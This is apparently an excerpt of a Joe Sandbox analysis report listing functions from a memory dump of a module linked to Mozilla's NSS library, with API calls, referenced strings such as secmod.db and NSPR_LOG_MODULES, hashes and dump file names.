Instruction ID: 53f8dcd60eb7c5e527a454619a16bdb8e89d3afe30b99dad4316beea9c7aee3a
Opcode Fuzzy Hash: c505190dd8d726936016ce6bb6470853da92adf2f36fddfd879fc4765404941e
Instruction Fuzzy Hash: 4DA11C71A0421ADFEB08CF9AD890AEEB7F6BF58350B158139E915B7300D775AD11CB90

Function 6CF6AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CF6AE18
winUnlockReadLock, xrefs: 6CF6AE9F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: e1bb1141b4206407bb24196419e1c26be332953813ee8783a669ebe94762694b
Instruction ID: f6e8155bd0e9fcfae0d0e01c5990e904d594884329092fee3529a0f9bd791b12
Opcode Fuzzy Hash: e1bb1141b4206407bb24196419e1c26be332953813ee8783a669ebe94762694b
Instruction Fuzzy Hash: 9671AC71608240AFDB14CF29E884BABBBF5FF89314F14C618F98997201D771EA85CB91

Function 6D02ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6D02EE3D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 1ba8bb27052080cc3b83c8b829350e2798d033748ce331f1615b41fe3e903fc1
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: AB71D372E527018BEB18CF6AC88076ABBF2BF88314F15852DD85AD7391D770E900CB91

Function 6CF6D8E0 Relevance: 1.7, APIs: 1, Instructions: 439COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CF6DB8B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 130903623318a2008c87102a4c98672070d20b8a8eafa1400898c4af67e8104a
Instruction ID: 2cccb378ae27e22b60542adaff5cc61a123a991de13fa962ab3de11d027aa5fb
Opcode Fuzzy Hash: 130903623318a2008c87102a4c98672070d20b8a8eafa1400898c4af67e8104a
Instruction Fuzzy Hash: 4A125D71E042098FDB08CF69C4907AEBBF2FF89314F24426DD51AAB791D774A942CB94

Function 6CF55F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CF56013

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 58596cce76efda1083f35ab27d8cea9b6c9a83d91ebb2d40868d778e8b37547f
Instruction ID: 403ec707f95445c86cd2d2d3e740eb38c880f10df71f634c2d47668e071d2517
Opcode Fuzzy Hash: 58596cce76efda1083f35ab27d8cea9b6c9a83d91ebb2d40868d778e8b37547f
Instruction Fuzzy Hash: 62C1E871B045058BDB048F15C4507ABBBF2AF65318FA88169EBB5DBB41D731EC61C790

Function 6CF64DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CF65125

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 5c12576fe9bd154b85bab48d7e8caa9a6800fe0f98b4a0a19b94fecefb05cfb6
Instruction ID: 231f0d06fd0d21421e8fa79209525c770516149a4accfe1fe0cfdd4469f99009
Opcode Fuzzy Hash: 5c12576fe9bd154b85bab48d7e8caa9a6800fe0f98b4a0a19b94fecefb05cfb6
Instruction Fuzzy Hash: 6AE158719083409FDB04DF29E58479ABBF0FF89318F118A1DF88997651E771DA85CB82

Function 6D0E5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6D0E5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CFCDF9B), ref: 6D0E5B9E
Part of subcall function 6D0E5B90: PR_Unlock.NSS3 ref: 6D0E5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6D0E5E23,6CFCE154), ref: 6D0E5EBF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 95f34743bfaeaedb660ec76e93fa818d02599d953797795a5f842f2ef23a1785
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: BF518E72E0022A8FDB18CF59C8816AEF7F2FF98314B19856DD916B7355D730A941CBA0

Function 6D09DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45012c389ca6e1316ad868a04d4cfe2c4e4b976a244b2c9fd77314e1186b93ef
Instruction ID: 7a8a75159baf9ed922bd80b33b254506e748f2065dc75cb14ec3d62e3e5657fe
Opcode Fuzzy Hash: 45012c389ca6e1316ad868a04d4cfe2c4e4b976a244b2c9fd77314e1186b93ef
Instruction Fuzzy Hash: F8F14775A01205CFEB08CF59D494BAE77B2BF89314F198068E8099F355DB35ED82CBA1

Function 6D031DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 3f56872b792af2bcb2f9afa6470d6df8a34a50ba91376d0938390e491b86b2b7
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 08D11B72D146778BF7118E28C8803EE7763AB89324F5A8629DD641B3C6C3779905C7D1

Function 6D0AF900 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17baba5b4dc44e97ef525df66a5064c6c7294b4533877caf47985e4ab94c0470
Instruction ID: ebaecb2916f20ec82cd66fbf2f2e2aa4dbac18d1f4f3854fb8b8b261ae6fae0e
Opcode Fuzzy Hash: 17baba5b4dc44e97ef525df66a5064c6c7294b4533877caf47985e4ab94c0470
Instruction Fuzzy Hash: 97B1E7A050C6974EE3124EA984A03F5BFEAAB87319F6C829AF5E04F2D3D7764447C750

Function 6CFC8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26a92cbbff5e04775ed1726534e9e86d40b5b515e3079cfdc6275f5171d4b444
Instruction ID: 9ec4e76d037dc555c148fbafa7ca193c0aa7a90c15f99878fd002513e388b92e
Opcode Fuzzy Hash: 26a92cbbff5e04775ed1726534e9e86d40b5b515e3079cfdc6275f5171d4b444
Instruction Fuzzy Hash: 3111C132B002169BD708CF64E884B9BB7A5FF4231CF04426AD8058FA41C7B5D8C6C7C2

Function 6D0A0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906f95dcf7823e40359582dddb3921f05eba56f1682925ec034b540423554d34
Instruction ID: d88581bbd16017a482103ac1b21a6c42a25ef56efb4fdc63db5447edfd2dbaee
Opcode Fuzzy Hash: 906f95dcf7823e40359582dddb3921f05eba56f1682925ec034b540423554d34
Instruction Fuzzy Hash: C411C47470830A9FDB00DF59D88076A77A1FF85364F198069D8198B346DB72E806CB90

Function 6D013FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 92fe5a140025593ad4df0d0b7e4c1819ba05e83dc45a3fb2b5141862a124d865
Instruction ID: b71f391bfe5f826099ab22379d5ee791aad2237b87b6ff0b7f689197d3dc43cc
Opcode Fuzzy Hash: 92fe5a140025593ad4df0d0b7e4c1819ba05e83dc45a3fb2b5141862a124d865
Instruction Fuzzy Hash: 45F0BE70A047598BCB00CF68D48139AB7F4EF09254F019219ED89AB200EB30AAC4C7C1

Function 6D0A0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 5bc1eb1bd869b03782980ee6bd912d03293b4061320c95f55547164c99b377f1
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: BCE0653BA0401967EB148E4AC4507A97399DF81655FA88079EC59ABA06D633F8038781

Function 6CFCCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42916b8c4dc9fe318b98a11a2a6250be3fb7e82271f498bc72d5fb72860debf6
Instruction ID: 157ac40bee726797334a122767935d6d379608c5aa69d10de42babfc8530f200
Opcode Fuzzy Hash: 42916b8c4dc9fe318b98a11a2a6250be3fb7e82271f498bc72d5fb72860debf6
Instruction Fuzzy Hash: 47C09238244708CFC704DF48E589EA43BF8FF0D6107050094EA028B721DB72FC00CA80

Function 6D035DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6D035E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D035E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6D035E5C
free.MOZGLUE(00000000), ref: 6D035E7E
free.MOZGLUE(00000000), ref: 6D035E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6D035EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6D035EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D035ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6D035EF0
free.MOZGLUE(00000000), ref: 6D035F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D035F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6D035F5B
free.MOZGLUE(00000000), ref: 6D035F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6D035FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6D035FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6D035FC4
free.MOZGLUE(00000000), ref: 6D035FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D035FE9
free.MOZGLUE(00000000), ref: 6D035FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D03600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D036027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6D03605A
PR_smprintf.NSS3(6D10AAF9,00000000), ref: 6D03606A
free.MOZGLUE(00000000), ref: 6D03607C
free.MOZGLUE(00000000), ref: 6D03609A
free.MOZGLUE(00000000), ref: 6D0360B2
free.MOZGLUE(?), ref: 6D0360CE

Strings

noModDB, xrefs: 6D035EEA
flags, xrefs: 6D035E3A, 6D035EC6, 6D035F30
configDir=, xrefs: 6D035F9D
forceSecmodChoice, xrefs: 6D035F55
pkcs11.txt, xrefs: 6D035F47, 6D035F7C, 6D03603A, 6D036053
readOnly, xrefs: 6D035E56
secmod=, xrefs: 6D035FB1
%s/%s, xrefs: 6D036055
secmod.db, xrefs: 6D035EA0

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: af4d2ac58e4ae697c21586ace02adedada2cc24ddd82f0ed70c8c9b4bb07ad49
Instruction ID: 7a367cda1e1b786437d8debfd22b3f68fdacf1a8387f4258f1a6a84f30f72d5e
Opcode Fuzzy Hash: af4d2ac58e4ae697c21586ace02adedada2cc24ddd82f0ed70c8c9b4bb07ad49
Instruction Fuzzy Hash: 7C9107B89042276FFB019F25DC8ABBF3BE4AF06248F4A0020ED559B256E771D550C7E2

Function 6CFC1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CFC1DA3

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CFC1DB2

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFC1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CFC1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CFC1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CFC1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CFC1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CFC1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFC1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CFC1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CFC1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CFC1F83
PR_SetLogFile.NSS3(00000000), ref: 6CFC1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CFC1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CFC1FCB
free.MOZGLUE(00000000), ref: 6CFC1FD2

Strings

NSPR_LOG_MODULES, xrefs: 6CFC1DAD
Unable to create nspr log file '%s', xrefs: 6CFC1FB3
all, xrefs: 6CFC1F0E
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CFC1E27
bufsize, xrefs: 6CFC1E9B
timestamp, xrefs: 6CFC1EC4
NSPR_LOG_FILE, xrefs: 6CFC1F69
, %n, xrefs: 6CFC1E6B
sync, xrefs: 6CFC1E46
append, xrefs: 6CFC1EE6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 2ae53f8a747a5e83019fe4a388ab23f6e1b84d511e32bb031e9b2febb80dc798
Instruction ID: 71b46f7fe0f0862ecd8451647a9e5ad5d52cd99c323d1ee5cc190166f1626d44
Opcode Fuzzy Hash: 2ae53f8a747a5e83019fe4a388ab23f6e1b84d511e32bb031e9b2febb80dc798
Instruction Fuzzy Hash: A1516DB1F0421A9BDF009BE5DC48BDF77B9AF05308F088128E915DB645E7B1E568CB92

Function 6D0A6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

